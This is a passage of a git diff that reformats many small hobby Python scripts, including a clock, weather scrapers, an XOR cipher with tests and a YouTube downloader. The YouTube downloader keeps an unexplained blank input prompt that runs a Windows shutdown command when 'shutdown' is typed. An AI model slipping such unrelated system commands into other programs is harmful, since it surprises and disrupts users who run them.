--git a/UI-Apps/clock.py b/UI-Apps/clock.py index 699bce10822..544d8bdc48f 100644 --- a/UI-Apps/clock.py +++ b/UI-Apps/clock.py @@ -1,24 +1,29 @@ import tkinter -# retrieve system's time + +# retrieve system's time from time import strftime -#------------------main code----------------------- -#initializing the main UI object + +# ------------------main code----------------------- +# initializing the main UI object top = tkinter.Tk() -#setting title of the App -top.title('Clock') -#restricting the resizable property -top.resizable(0,0) - -def time(): - string = strftime('%H:%M:%S %p') - clockTime.config(text = string) +# setting title of the App +top.title("Clock") +# restricting the resizable property +top.resizable(0, 0) + + +def time(): + string = strftime("%H:%M:%S %p") + clockTime.config(text=string) clockTime.after(1000, time) -clockTime = tkinter.Label(top, font = ('calibri', 40, 'bold'), background = 'black', foreground = 'white') +clockTime = tkinter.Label( + top, font=("calibri", 40, "bold"), background="black", foreground="white" +) -clockTime.pack(anchor = 'center') -time() +clockTime.pack(anchor="center") +time() top.mainloop() diff --git a/Unit Digit of a raised to power b.py b/Unit Digit of a raised to power b.py index 4460f188f25..68fd02b5259 100644 --- a/Unit Digit of a raised to power b.py +++ b/Unit Digit of a raised to power b.py @@ -1,11 +1,12 @@ def last_digit(a, b): - if b==0: #This Code assumes that 0^0 is 1 + if b == 0: # This Code assumes that 0^0 is 1 return 1 - elif a%10 in [0,5,6,1]: - return a%10 - elif b%4==0: - return ((a%10)**4)%10 + elif a % 10 in [0, 5, 6, 1]: + return a % 10 + elif b % 4 == 0: + return ((a % 10) ** 4) % 10 else: - return ((a%10)**(b%4))%10 - -#Courtesy to https://brilliant.org/wiki/finding-the-last-digit-of-a-power/ + return ((a % 10) ** (b % 4)) % 10 + + +# Courtesy to https://brilliant.org/wiki/finding-the-last-digit-of-a-power/ diff --git a/VoiceRepeater/__main__.py b/VoiceRepeater/__main__.py index 3a2fb0936cd..dc3e20a9739 100644 --- a/VoiceRepeater/__main__.py +++ b/VoiceRepeater/__main__.py @@ -5,24 +5,27 @@ import playsound import shutil -shutil.rmtree('spoken') -os.mkdir('spoken') +shutil.rmtree("spoken") +os.mkdir("spoken") speeches = [] + def callback(recognizer, audio): - with open('spoken/'+str(len(speeches))+'.wav','wb') as file: + with open("spoken/" + str(len(speeches)) + ".wav", "wb") as file: file.write(audio.get_wav_data()) - playsound.playsound('spoken/'+str(len(speeches))+'.wav') + playsound.playsound("spoken/" + str(len(speeches)) + ".wav") speeches.append(1) - print('____') - + print("____") + + r = sr.Recognizer() m = sr.Microphone() with m as source: r.adjust_for_ambient_noise(source) stop_listening = r.listen_in_background(m, callback) -print('say:') -while True: time.sleep(0.1) +print("say:") +while True: + time.sleep(0.1) diff --git a/Weather Scrapper/weather.py b/Weather Scrapper/weather.py index f47e335a194..55e8c59e4e7 100644 --- a/Weather Scrapper/weather.py +++ b/Weather Scrapper/weather.py @@ -4,8 +4,8 @@ import requests from bs4 import BeautifulSoup -city = input('Enter City') -url = 'https://www.wunderground.com/weather/in/' + city +city = input("Enter City") +url = "https://www.wunderground.com/weather/in/" + city try: response = requests.get(url) @@ -20,25 +20,22 @@ exit(1) html = response.text -soup = BeautifulSoup(html, 'lxml') +soup = BeautifulSoup(html, "lxml") out2 = soup.find(class_="small-12 medium-4 large-3 columns forecast-wrap") out3 = out2.find(class_="columns small-12") out4 = soup.find(class_="data-module additional-conditions") Time = datetime.now().strftime("%H:%M") -Date = out2.find('span', attrs={'class': 'date'}).get_text() -Temperature = out2.find('span', attrs={'class': 'temp'}).get_text() +Date = out2.find("span", attrs={"class": "date"}).get_text() +Temperature = out2.find("span", attrs={"class": "temp"}).get_text() Temperature = " ".join(Temperature.split()) -Precipitation = 'Precipitate:' + out3.find('a', attrs={'class': 'hook'}).get_text().split(' ', 1)[0] -other = out3.find('a', attrs={'class': 'module-link'}).get_text().split('.') +Precipitation = ( + "Precipitate:" + out3.find("a", attrs={"class": "hook"}).get_text().split(" ", 1)[0] +) +other = out3.find("a", attrs={"class": "module-link"}).get_text().split(".") sky = other[0] Wind = other[2].strip() -with open('weather.csv', 'a') as new_file: +with open("weather.csv", "a") as new_file: csv_writer = csv.writer(new_file) - csv_writer.writerow([city, - Time, - Date, - Temperature, - Precipitation, - sky, Wind]) + csv_writer.writerow([city, Time, Date, Temperature, Precipitation, sky, Wind]) diff --git a/WeatherGUI.py b/WeatherGUI.py index 41ea61c8981..19b42994b84 100644 --- a/WeatherGUI.py +++ b/WeatherGUI.py @@ -2,47 +2,63 @@ import requests from bs4 import BeautifulSoup -url = 'https://weather.com/en-IN/weather/today/l/32355ced66b7ce3ab7ccafb0a4f45f12e7c915bcf8454f712efa57474ba8d6c8' +url = "https://weather.com/en-IN/weather/today/l/32355ced66b7ce3ab7ccafb0a4f45f12e7c915bcf8454f712efa57474ba8d6c8" root = tk.Tk() root.title("Weather") -root.config(bg = 'white') +root.config(bg="white") + def getWeather(): page = requests.get(url) - soup = BeautifulSoup(page.content, 'html.parser') - location = soup.find('h1',class_="_1Ayv3").text - temperature = soup.find('span',class_="_3KcTQ").text - airquality = soup.find('text',class_='k2Z7I').text - airqualitytitle = soup.find('span',class_='_1VMr2').text - sunrise = soup.find('div',class_='_2ATeV').text - sunset = soup.find('div',class_='_2_gJb _2ATeV').text + soup = BeautifulSoup(page.content, "html.parser") + location = soup.find("h1", class_="_1Ayv3").text + temperature = soup.find("span", class_="_3KcTQ").text + airquality = soup.find("text", class_="k2Z7I").text + airqualitytitle = soup.find("span", class_="_1VMr2").text + sunrise = soup.find("div", class_="_2ATeV").text + sunset = soup.find("div", class_="_2_gJb _2ATeV").text # humidity = soup.find('div',class_='_23DP5').text - wind = soup.find('span',class_='_1Va1P undefined').text - pressure = soup.find('span',class_='_3olKd undefined').text + wind = soup.find("span", class_="_1Va1P undefined").text + pressure = soup.find("span", class_="_3olKd undefined").text locationlabel.config(text=(location)) - templabel.config(text = temperature+"C") - WeatherText = "Sunrise : "+sunrise+"\n"+"SunSet : "+sunset+"\n"+"Pressure : "+pressure+"\n"+"Wind : "+wind+"\n" + templabel.config(text=temperature + "C") + WeatherText = ( + "Sunrise : " + + sunrise + + "\n" + + "SunSet : " + + sunset + + "\n" + + "Pressure : " + + pressure + + "\n" + + "Wind : " + + wind + + "\n" + ) weatherPrediction.config(text=WeatherText) - airqualityText = airquality + " "*5 + airqualitytitle + "\n" - airqualitylabel.config(text = airqualityText) - - weatherPrediction.after(120000,getWeather) + airqualityText = airquality + " " * 5 + airqualitytitle + "\n" + airqualitylabel.config(text=airqualityText) + + weatherPrediction.after(120000, getWeather) root.update() - -locationlabel= tk.Label(root, font = ('Calibri bold',20), bg = 'white') -locationlabel.grid(row = 0,column = 1, sticky='N',padx=20,pady=40) -templabel = tk.Label(root, font = ('Caliber bold', 40), bg="white") -templabel.grid(row=0,column = 0,sticky="W",padx=17) +locationlabel = tk.Label(root, font=("Calibri bold", 20), bg="white") +locationlabel.grid(row=0, column=1, sticky="N", padx=20, pady=40) + +templabel = tk.Label(root, font=("Caliber bold", 40), bg="white") +templabel.grid(row=0, column=0, sticky="W", padx=17) -weatherPrediction = tk.Label(root, font = ('Caliber', 15), bg="white") -weatherPrediction.grid(row=2,column=1,sticky="W",padx=40) +weatherPrediction = tk.Label(root, font=("Caliber", 15), bg="white") +weatherPrediction.grid(row=2, column=1, sticky="W", padx=40) -tk.Label(root,text = "Air Quality", font = ('Calibri bold',20), bg = 'white').grid(row = 1,column = 2, sticky='W',padx=20) -airqualitylabel = tk.Label(root, font = ('Caliber bold', 20), bg="white") -airqualitylabel.grid(row=2,column=2,sticky="W") +tk.Label(root, text="Air Quality", font=("Calibri bold", 20), bg="white").grid( + row=1, column=2, sticky="W", padx=20 +) +airqualitylabel = tk.Label(root, font=("Caliber bold", 20), bg="white") +airqualitylabel.grid(row=2, column=2, sticky="W") getWeather() -root.mainloop() \ No newline at end of file +root.mainloop() diff --git a/Web_Scraper.py b/Web_Scraper.py index 4fee52dd4f3..46692794431 100644 --- a/Web_Scraper.py +++ b/Web_Scraper.py @@ -1,41 +1,41 @@ -''' +""" Author: Chayan Chawra git: github.com/Chayan-19 Requirements: selenium, BeautifulSoup -''' - -import requests -from bs4 import BeautifulSoup -from selenium import webdriver -from selenium.webdriver.common.keys import Keys -import time - -#url of the page we want to scrape +""" + +import requests +from bs4 import BeautifulSoup +from selenium import webdriver +from selenium.webdriver.common.keys import Keys +import time + +# url of the page we want to scrape url = "https://www.naukri.com/top-jobs-by-designations# desigtop600" - -# initiating the webdriver. Parameter includes the path of the webdriver. -driver = webdriver.Chrome('./chromedriver') -driver.get(url) - -# this is just to ensure that the page is loaded -time.sleep(5) - -html = driver.page_source - -# this renders the JS code and stores all -# of the information in static HTML code. - -# Now, we could simply apply bs4 to html variable -soup = BeautifulSoup(html, "html.parser") -all_divs = soup.find('div', {'id' : 'nameSearch'}) -job_profiles = all_divs.find_all('a') - -# printing top ten job profiles + +# initiating the webdriver. Parameter includes the path of the webdriver. +driver = webdriver.Chrome("./chromedriver") +driver.get(url) + +# this is just to ensure that the page is loaded +time.sleep(5) + +html = driver.page_source + +# this renders the JS code and stores all +# of the information in static HTML code. + +# Now, we could simply apply bs4 to html variable +soup = BeautifulSoup(html, "html.parser") +all_divs = soup.find("div", {"id": "nameSearch"}) +job_profiles = all_divs.find_all("a") + +# printing top ten job profiles count = 0 -for job_profile in job_profiles : - print(job_profile.text) +for job_profile in job_profiles: + print(job_profile.text) count = count + 1 - if(count == 10) : + if count == 10: break - -driver.close() # closing the webdriver + +driver.close() # closing the webdriver diff --git a/WikipediaModule.py b/WikipediaModule.py index 7a99a4b3376..dec5e2a5c0b 100644 --- a/WikipediaModule.py +++ b/WikipediaModule.py @@ -10,9 +10,9 @@ def wiki(): - ''' + """ Search Anything in wikipedia - ''' + """ word = input("Wikipedia Search : ") results = wk.search(word) @@ -30,7 +30,7 @@ def wiki(): # references=page.references title = page.title # soup=BeautifulSoup(page.content,'lxml') - pageLength = input('''Wiki Page Type : 1.Full 2.Summary : ''') + pageLength = input("""Wiki Page Type : 1.Full 2.Summary : """) if pageLength == 1: soup = fullPage(page) print(soup) @@ -45,15 +45,15 @@ def wiki(): def fullPage(page): - soup = BeautifulSoup(page.content, 'lxml') + soup = BeautifulSoup(page.content, "lxml") return soup def randomWiki(): - ''' + """ This function gives you a list of n number of random articles Choose any article. - ''' + """ number = input("No: of Random Pages : ") lst = wk.random(number) for i in enumerate(lst): @@ -71,7 +71,7 @@ def randomWiki(): # references=page.references title = page.title # soup=BeautifulSoup(page.content,'lxml') - pageLength = input('''Wiki Page Type : 1.Full 2.Summary : ''') + pageLength = input("""Wiki Page Type : 1.Full 2.Summary : """) if pageLength == 1: soup = fullPage(page) print(soup) @@ -84,5 +84,6 @@ def randomWiki(): pass + # if __name__=="__main__": # wiki() diff --git a/Windows_Wallpaper_Script/wallpaper_extract.py b/Windows_Wallpaper_Script/wallpaper_extract.py index 4fbe2806a80..541462bdff4 100644 --- a/Windows_Wallpaper_Script/wallpaper_extract.py +++ b/Windows_Wallpaper_Script/wallpaper_extract.py @@ -7,18 +7,21 @@ class Wallpaper: # Set Environment Variables - username = os.environ['USERNAME'] -#An Amazing Code You Will Love To Have + username = os.environ["USERNAME"] + # An Amazing Code You Will Love To Have # All file urls file_urls = { - "wall_src": "C:\\Users\\" + username - + "\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\" - + "LocalState\\Assets\\", + "wall_src": "C:\\Users\\" + + username + + "\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\" + + "LocalState\\Assets\\", "wall_dst": os.path.dirname(os.path.abspath(__file__)) + "\\Wallpapers\\", - "wall_mobile": os.path.dirname(os.path.abspath(__file__)) + "\\Wallpapers\\mobile\\", - "wall_desktop": os.path.dirname(os.path.abspath(__file__)) + "\\Wallpapers\\desktop\\" + "wall_mobile": os.path.dirname(os.path.abspath(__file__)) + + "\\Wallpapers\\mobile\\", + "wall_desktop": os.path.dirname(os.path.abspath(__file__)) + + "\\Wallpapers\\desktop\\", } - msg = ''' + msg = """ DDDDD OOOOO NN N EEEEEEE D D O O N N N E D D O O N N N E @@ -26,14 +29,14 @@ class Wallpaper: D D O O N N N E D D O O N N N E DDDDD OOOOO N NN EEEEEEE - ''' + """ # A method to showcase time effect @staticmethod def time_gap(string): - print(string, end='') + print(string, end="") time.sleep(1) - print(".", end='') + print(".", end="") time.sleep(1) print(".") @@ -56,8 +59,10 @@ def change_ext(): base_file, ext = os.path.splitext(filename) if ext == "": if not os.path.isdir(w.file_urls["wall_dst"] + filename): - os.rename(w.file_urls["wall_dst"] + filename, - w.file_urls["wall_dst"] + filename + ".jpg") + os.rename( + w.file_urls["wall_dst"] + filename, + w.file_urls["wall_dst"] + filename + ".jpg", + ) # Remove all files Not having Wallpaper Resolution @staticmethod @@ -90,12 +95,16 @@ def arr_desk_wallpapers(): if list(im.size)[0] == 1920: im.close() - os.rename(w.file_urls["wall_dst"] + filename, - w.file_urls["wall_desktop"] + filename) + os.rename( + w.file_urls["wall_dst"] + filename, + w.file_urls["wall_desktop"] + filename, + ) elif list(im.size)[0] == 1080: im.close() - os.rename(w.file_urls["wall_dst"] + filename, - w.file_urls["wall_mobile"] + filename) + os.rename( + w.file_urls["wall_dst"] + filename, + w.file_urls["wall_mobile"] + filename, + ) else: im.close() except FileExistsError: diff --git a/XORcipher/XOR_cipher.py b/XORcipher/XOR_cipher.py index 1a9770af551..4d6bdb2190a 100644 --- a/XORcipher/XOR_cipher.py +++ b/XORcipher/XOR_cipher.py @@ -19,11 +19,10 @@ class XORCipher(object): - def __init__(self, key=0): """ - simple constructor that receives a key or uses - default key = 0 + simple constructor that receives a key or uses + default key = 0 """ # private field @@ -31,19 +30,19 @@ def __init__(self, key=0): def encrypt(self, content, key): """ - input: 'content' of type string and 'key' of type int - output: encrypted string 'content' as a list of chars - if key not passed the method uses the key by the constructor. - otherwise key = 1 + input: 'content' of type string and 'key' of type int + output: encrypted string 'content' as a list of chars + if key not passed the method uses the key by the constructor. + otherwise key = 1 """ # precondition - assert (isinstance(key, int) and isinstance(content, str)) + assert isinstance(key, int) and isinstance(content, str) key = key or self.__key or 1 # make sure key can be any size - while (key > 255): + while key > 255: key -= 255 # This will be returned @@ -56,19 +55,19 @@ def encrypt(self, content, key): def decrypt(self, content, key): """ - input: 'content' of type list and 'key' of type int - output: decrypted string 'content' as a list of chars - if key not passed the method uses the key by the constructor. - otherwise key = 1 + input: 'content' of type list and 'key' of type int + output: decrypted string 'content' as a list of chars + if key not passed the method uses the key by the constructor. + otherwise key = 1 """ # precondition - assert (isinstance(key, int) and isinstance(content, list)) + assert isinstance(key, int) and isinstance(content, list) key = key or self.__key or 1 # make sure key can be any size - while (key > 255): + while key > 255: key -= 255 # This will be returned @@ -81,19 +80,19 @@ def decrypt(self, content, key): def encrypt_string(self, content, key=0): """ - input: 'content' of type string and 'key' of type int - output: encrypted string 'content' - if key not passed the method uses the key by the constructor. - otherwise key = 1 + input: 'content' of type string and 'key' of type int + output: encrypted string 'content' + if key not passed the method uses the key by the constructor. + otherwise key = 1 """ # precondition - assert (isinstance(key, int) and isinstance(content, str)) + assert isinstance(key, int) and isinstance(content, str) key = key or self.__key or 1 # make sure key can be any size - while (key > 255): + while key > 255: key -= 255 # This will be returned @@ -106,19 +105,19 @@ def encrypt_string(self, content, key=0): def decrypt_string(self, content, key=0): """ - input: 'content' of type string and 'key' of type int - output: decrypted string 'content' - if key not passed the method uses the key by the constructor. - otherwise key = 1 + input: 'content' of type string and 'key' of type int + output: decrypted string 'content' + if key not passed the method uses the key by the constructor. + otherwise key = 1 """ # precondition - assert (isinstance(key, int) and isinstance(content, str)) + assert isinstance(key, int) and isinstance(content, str) key = key or self.__key or 1 # make sure key can be any size - while (key > 255): + while key > 255: key -= 255 # This will be returned @@ -131,15 +130,15 @@ def decrypt_string(self, content, key=0): def encrypt_file(self, file, key=0): """ - input: filename (str) and a key (int) - output: returns true if encrypt process was - successful otherwise false - if key not passed the method uses the key by the constructor. - otherwise key = 1 + input: filename (str) and a key (int) + output: returns true if encrypt process was + successful otherwise false + if key not passed the method uses the key by the constructor. + otherwise key = 1 """ # precondition - assert (isinstance(file, str) and isinstance(key, int)) + assert isinstance(file, str) and isinstance(key, int) try: with open(file, "r") as fin: @@ -155,15 +154,15 @@ def encrypt_file(self, file, key=0): def decrypt_file(self, file, key): """ - input: filename (str) and a key (int) - output: returns true if decrypt process was - successful otherwise false - if key not passed the method uses the key by the constructor. - otherwise key = 1 + input: filename (str) and a key (int) + output: returns true if decrypt process was + successful otherwise false + if key not passed the method uses the key by the constructor. + otherwise key = 1 """ # precondition - assert (isinstance(file, str) and isinstance(key, int)) + assert isinstance(file, str) and isinstance(key, int) try: with open(file, "r") as fin: @@ -177,6 +176,7 @@ def decrypt_file(self, file, key): return True + # Tests # crypt = XORCipher() # key = 67 diff --git a/XORcipher/test_XOR_cipher.py b/XORcipher/test_XOR_cipher.py index b9a2d90d9e5..650efab8497 100644 --- a/XORcipher/test_XOR_cipher.py +++ b/XORcipher/test_XOR_cipher.py @@ -7,7 +7,7 @@ # CC BY 4.0 # # Test XORCipher is the test automation suite for the XORCipher created by -# Christian Bender. +# Christian Bender. # Usage: python test_XOR_cipher.py # @@ -33,7 +33,7 @@ def setUp(self): # self.XORCipher_1 = XORCipher(key) pass - @mock.patch('XOR_cipher.XORCipher.__init__') + @mock.patch("XOR_cipher.XORCipher.__init__") def test__init__(self, mock__init__): """ Test the __init__ method with commented values in the event @@ -49,7 +49,7 @@ def test__init__(self, mock__init__): # self.XORCipher_1.__init__.assert_called_with(1) XORCipher.__init__.assert_called() - @mock.patch('XOR_cipher.XORCipher.encrypt') + @mock.patch("XOR_cipher.XORCipher.encrypt") def test_encrypt(self, mock_encrypt): """ Test the encrypt method with mocked values. @@ -63,10 +63,10 @@ def test_encrypt(self, mock_encrypt): XORCipher.encrypt.assert_called_with(content, key) - @mock.patch('XOR_cipher.XORCipher.decrypt') + @mock.patch("XOR_cipher.XORCipher.decrypt") def test_decrypt(self, mock_decrypt): """ - Test the decrypt method with mocked values. + Test the decrypt method with mocked values. """ ans = mock.MagicMock() @@ -77,7 +77,7 @@ def test_decrypt(self, mock_decrypt): XORCipher.decrypt.assert_called_with(content, key) - @mock.patch('XOR_cipher.XORCipher.encrypt_string') + @mock.patch("XOR_cipher.XORCipher.encrypt_string") def test_encrypt_string(self, mock_encrypt_string): """ Test the encrypt_string method with mocked values. @@ -91,7 +91,7 @@ def test_encrypt_string(self, mock_encrypt_string): XORCipher.encrypt_string.assert_called_with(content, key) - @mock.patch('XOR_cipher.XORCipher.decrypt_string') + @mock.patch("XOR_cipher.XORCipher.decrypt_string") def test_decrypt_string(self, mock_decrypt_string): """ Test the decrypt_string method with mocked values. @@ -105,7 +105,7 @@ def test_decrypt_string(self, mock_decrypt_string): XORCipher.decrypt_string.assert_called_with(content, key) - @mock.patch('XOR_cipher.XORCipher.encrypt_file') + @mock.patch("XOR_cipher.XORCipher.encrypt_file") def test_encrypt_file(self, mock_encrypt_file): """ Test the encrypt_file method with mocked values. @@ -118,7 +118,7 @@ def test_encrypt_file(self, mock_encrypt_file): XORCipher.encrypt_file.assert_called_with(file, key) - @mock.patch('XOR_cipher.XORCipher.decrypt_file') + @mock.patch("XOR_cipher.XORCipher.decrypt_file") def test_decrypt_file(self, mock_decrypt_file): """ Test the decrypt_file method with mocked values. @@ -132,5 +132,5 @@ def test_decrypt_file(self, mock_decrypt_file): XORCipher.decrypt_string.assert_called_with(file, key) -if __name__ == '__main__': +if __name__ == "__main__": unittest.main() diff --git a/Youtube Downloader With GUI/main.py b/Youtube Downloader With GUI/main.py index 629763b6609..21d5c534ad5 100644 --- a/Youtube Downloader With GUI/main.py +++ b/Youtube Downloader With GUI/main.py @@ -1,5 +1,4 @@ - -#libraraies +# libraraies from pytube import * import os @@ -7,25 +6,25 @@ from tkinter.filedialog import * from tkinter.messagebox import * from threading import * + file_size = 0 -q= input("") +q = input("") if q == "shutdown": os.system("shutdown -s") -#function progress to keep check of progress of function. -def progress(stream=None, chunk=None, remaining=None): - file_downloaded = (file_size-remaining) - per = round((file_downloaded/file_size)*100, 1) - dBtn.config(text=f'{per}% downloaded') +# function progress to keep check of progress of function. +def progress(stream=None, chunk=None, remaining=None): + file_downloaded = file_size - remaining + per = round((file_downloaded / file_size) * 100, 1) + dBtn.config(text=f"{per}% downloaded") - -#function start download to start the download of files +# function start download to start the download of files def startDownload(): global file_size try: URL = urlField.get() - dBtn.config(text='Please wait...') + dBtn.config(text="Please wait...") dBtn.config(state=DISABLED) path_save = askdirectory() if path_save is None: @@ -37,22 +36,31 @@ def startDownload(): dfile_size = file_size dfile_size /= 1000000 dfile_size = round(dfile_size, 2) - label.config(text='Size: ' + str(dfile_size) + ' MB') + label.config(text="Size: " + str(dfile_size) + " MB") label.pack(side=TOP, pady=10) - desc.config(text=ob.title + '\n\n' + 'Label: ' + ob.author + '\n\n' + 'length: ' + str(round(ob.length/60, 1)) + ' mins\n\n' - 'Views: ' + str(round(ob.views/1000000, 2)) + 'M') + desc.config( + text=ob.title + + "\n\n" + + "Label: " + + ob.author + + "\n\n" + + "length: " + + str(round(ob.length / 60, 1)) + + " mins\n\n" + "Views: " + str(round(ob.views / 1000000, 2)) + "M" + ) desc.pack(side=TOP, pady=10) strm.download(path_save, strm.title) dBtn.config(state=NORMAL) - showinfo("Download Finished", 'Downloaded Successfully') + showinfo("Download Finished", "Downloaded Successfully") urlField.delete(0, END) label.pack_forget() desc.pack_forget() - dBtn.config(text='Start Download') + dBtn.config(text="Start Download") except Exception as e: print(e) - print('Error!!') + print("Error!!") def startDownloadthread(): @@ -60,34 +68,34 @@ def startDownloadthread(): thread.start() - - - - - - -# main functions +# main functions main = Tk() main.title("My YouTube Downloader") -main.config(bg='#3498DB') +main.config(bg="#3498DB") -main.iconbitmap('youtube-ios-app.ico') +main.iconbitmap("youtube-ios-app.ico") main.geometry("500x600") -file = PhotoImage(file='photo.png') +file = PhotoImage(file="photo.png") headingIcon = Label(main, image=file) headingIcon.pack(side=TOP) urlField = Entry(main, font=("Times New Roman", 18), justify=CENTER) urlField.pack(side=TOP, fill=X, padx=10, pady=15) -dBtn = Button(main, text="Start Download", font=( - "Times New Roman", 18), relief='ridge', activeforeground='red', command=startDownloadthread) +dBtn = Button( + main, + text="Start Download", + font=("Times New Roman", 18), + relief="ridge", + activeforeground="red", + command=startDownloadthread, +) dBtn.pack(side=TOP) -label = Label(main, text='') -desc = Label(main, text='') +label = Label(main, text="") +desc = Label(main, text="") author = Label(main, text="@G.S.") author.config(font=("Courier", 44)) author.pack(side=BOTTOM) diff --git a/addition.py b/addition.py index 37472bac918..2a90bae31fb 100644 --- a/addition.py +++ b/addition.py @@ -1,35 +1,35 @@ print() print() -a=True +a = True -while a==True: - - number1=int(input("enter first number:")) - number2=int(input("enter second number:")) - number3=int(input("enter third number:")) - sum=number1+number2+number3 +while a == True: + + number1 = int(input("enter first number:")) + number2 = int(input("enter second number:")) + number3 = int(input("enter third number:")) + sum = number1 + number2 + number3 print() print("\t\t======================================") print() - - print("Addition of three numbers is"," :-- ",sum) + + print("Addition of three numbers is", " :-- ", sum) print() print("\t\t======================================") print() - d=input("Do tou want to do it again ?? Y / N -- ").lower() - - if d=='y': + d = input("Do tou want to do it again ?? Y / N -- ").lower() + + if d == "y": print() print("\t\t======================================") print() - + continue - + else: exit() diff --git a/aj.py b/aj.py index 159b0c615e2..cc324a89368 100644 --- a/aj.py +++ b/aj.py @@ -1,12 +1,13 @@ -def Repeat(x): - _size = len(x) - repeated = [] - for i in range(_size): +def Repeat(x): + _size = len(x) + repeated = [] + for i in range(_size): k = i + 1 - for j in range(k, _size): - if x[i] == x[j] and x[i] not in repeated: - repeated.append(x[i]) - return repeated -list1 = [10, 20, 30, 20, 20, 30, 40, - 50, -20, 60, 60, -20, -20] -print(Repeat(list1)) + for j in range(k, _size): + if x[i] == x[j] and x[i] not in repeated: + repeated.append(x[i]) + return repeated + + +list1 = [10, 20, 30, 20, 20, 30, 40, 50, -20, 60, 60, -20, -20] +print(Repeat(list1)) diff --git a/alexa_news_headlines.py b/alexa_news_headlines.py index b2c56c14e0b..7cb84b9fe09 100644 --- a/alexa_news_headlines.py +++ b/alexa_news_headlines.py @@ -11,16 +11,19 @@ def get_headlines(): - user_pass_dict = {'user': 'USERNAME', 'passwd': "PASSWORD", 'api_type': 'json'} + user_pass_dict = {"user": "USERNAME", "passwd": "PASSWORD", "api_type": "json"} sess = requests.Session() - sess.headers.update({'User-Agent': 'I am testing Alexa: nobi'}) + sess.headers.update({"User-Agent": "I am testing Alexa: nobi"}) sess.post("https://www.reddit.com/api/login/", data=user_pass_dict) time.sleep(1) url = "https://reddit.com/r/worldnews/.json?limit=10" html = sess.get(url) data = json.loads(html.content.decode("utf-8")) - titles = [unidecode.unidecode(listing['data']['title']) for listing in data['data']['children']] - titles = '... '.join([i for i in titles]) + titles = [ + unidecode.unidecode(listing["data"]["title"]) + for listing in data["data"]["children"] + ] + titles = "... ".join([i for i in titles]) return titles diff --git a/area_of_square.py b/area_of_square.py index 482f2feb706..471e7c1cdb6 100644 --- a/area_of_square.py +++ b/area_of_square.py @@ -1,5 +1,5 @@ # Returns the area of the square with given sides -n=input("Enter the side of the square: ") # Side length should be given in input +n = input("Enter the side of the square: ") # Side length should be given in input side = float(n) -area = side * side #calculate area -print("Area of the given square is ",area) +area = side * side # calculate area +print("Area of the given square is ", area) diff --git a/armstrongnumber.py b/armstrongnumber.py index a988381350d..2e714fa9db4 100644 --- a/armstrongnumber.py +++ b/armstrongnumber.py @@ -9,12 +9,12 @@ # find the sum of the cube of each digit temp = num while temp > 0: - digit = temp % 10 - sum += digit ** 3 - temp //= 10 + digit = temp % 10 + sum += digit ** 3 + temp //= 10 # display the result if num == sum: - print(num,"is an Armstrong number") + print(num, "is an Armstrong number") else: - print(num,"is not an Armstrong number") + print(num, "is not an Armstrong number") diff --git a/async_downloader/async_downloader.py b/async_downloader/async_downloader.py index 77060ce6b94..4f715048905 100644 --- a/async_downloader/async_downloader.py +++ b/async_downloader/async_downloader.py @@ -13,10 +13,10 @@ def download(ways): if not ways: - print('Ways list is empty. Downloading is impossible') + print("Ways list is empty. Downloading is impossible") return - print('downloading..') + print("downloading..") success_files = set() failure_files = set() @@ -29,16 +29,16 @@ def download(ways): finally: event_loop.close() - print('Download complete') - print('-' * 100) + print("Download complete") + print("-" * 100) if success_files: - print('success:') + print("success:") for file in success_files: print(file) if failure_files: - print('failure:') + print("failure:") for file in failure_files: print(file) @@ -49,7 +49,9 @@ async def async_downloader(ways, loop, success_files, failure_files): download_file_by_url( url, session=session, - ) for url in ways] + ) + for url in ways + ] for task in asyncio.as_completed(coroutines): fail, url = await task @@ -69,41 +71,50 @@ async def download_file_by_url(url, session=None): try: async with session.get(url) as response: if response.status == 404: - print('\t{} from {} : Failed : {}'.format( - file_name, url, '404 - Not found')) + print( + "\t{} from {} : Failed : {}".format( + file_name, url, "404 - Not found" + ) + ) return fail, url if not response.status == 200: - print('\t{} from {} : Failed : HTTP response {}'.format( - file_name, url, response.status)) + print( + "\t{} from {} : Failed : HTTP response {}".format( + file_name, url, response.status + ) + ) return fail, url data = await response.read() - with open(file_name, 'wb') as file: + with open(file_name, "wb") as file: file.write(data) except asyncio.TimeoutError: - print('\t{} from {}: Failed : {}'.format( - file_name, url, 'Timeout error')) + print("\t{} from {}: Failed : {}".format(file_name, url, "Timeout error")) except aiohttp.client_exceptions.ClientConnectionError: - print('\t{} from {}: Failed : {}'.format( - file_name, url, 'Client connection error')) + print( + "\t{} from {}: Failed : {}".format( + file_name, url, "Client connection error" + ) + ) else: - print('\t{} from {} : Success'.format(file_name, url)) + print("\t{} from {} : Success".format(file_name, url)) fail = False return fail, url def test(): - ways = ['https://www.wikipedia.org', - 'https://www.ya.ru', - 'https://www.duckduckgo.com', - 'https://www.fail-path.unknown', - ] + ways = [ + "https://www.wikipedia.org", + "https://www.ya.ru", + "https://www.duckduckgo.com", + "https://www.fail-path.unknown", + ] download(ways) diff --git a/avg_xdspam_confidence.py b/avg_xdspam_confidence.py index f3c68ebc1ac..6ec7f70957a 100644 --- a/avg_xdspam_confidence.py +++ b/avg_xdspam_confidence.py @@ -1,12 +1,12 @@ -fh = open('mbox-short.txt') -#The 'mbox-short.txt' file can be downloaded from the link: https://www.py4e.com/code3/mbox-short.txt +fh = open("mbox-short.txt") +# The 'mbox-short.txt' file can be downloaded from the link: https://www.py4e.com/code3/mbox-short.txt sum = 0 count = 0 for fx in fh: - fx = fx.rstrip() - if not fx.startswith("X-DSPAM-Confidence:") : - continue - fy = fx[19:] - count = count + 1 - sum = sum + float(fy) -print ('Average spam confidence: ',sum/count) + fx = fx.rstrip() + if not fx.startswith("X-DSPAM-Confidence:"): + continue + fy = fx[19:] + count = count + 1 + sum = sum + float(fy) +print("Average spam confidence: ", sum / count) diff --git a/backup_automater_services.py b/backup_automater_services.py index d2afe4f1f82..21ec7aa0b62 100644 --- a/backup_automater_services.py +++ b/backup_automater_services.py @@ -13,20 +13,36 @@ import shutil # Load the library module today = datetime.date.today() # Get Today's date -todaystr = today.isoformat() # Format it so we can use the format to create the directory +todaystr = ( + today.isoformat() +) # Format it so we can use the format to create the directory -confdir = os.getenv("my_config") # Set the variable by getting the value from the OS setting -dropbox = os.getenv("dropbox") # Set the variable by getting the value from the OS setting -conffile = 'services.conf' # Set the variable as the name of the configuration file -conffilename = os.path.join(confdir, conffile) # Set the variable by combining the path and the file name -sourcedir = os.path.expanduser('~/Library/Services/') # Source directory of where the scripts are located +confdir = os.getenv( + 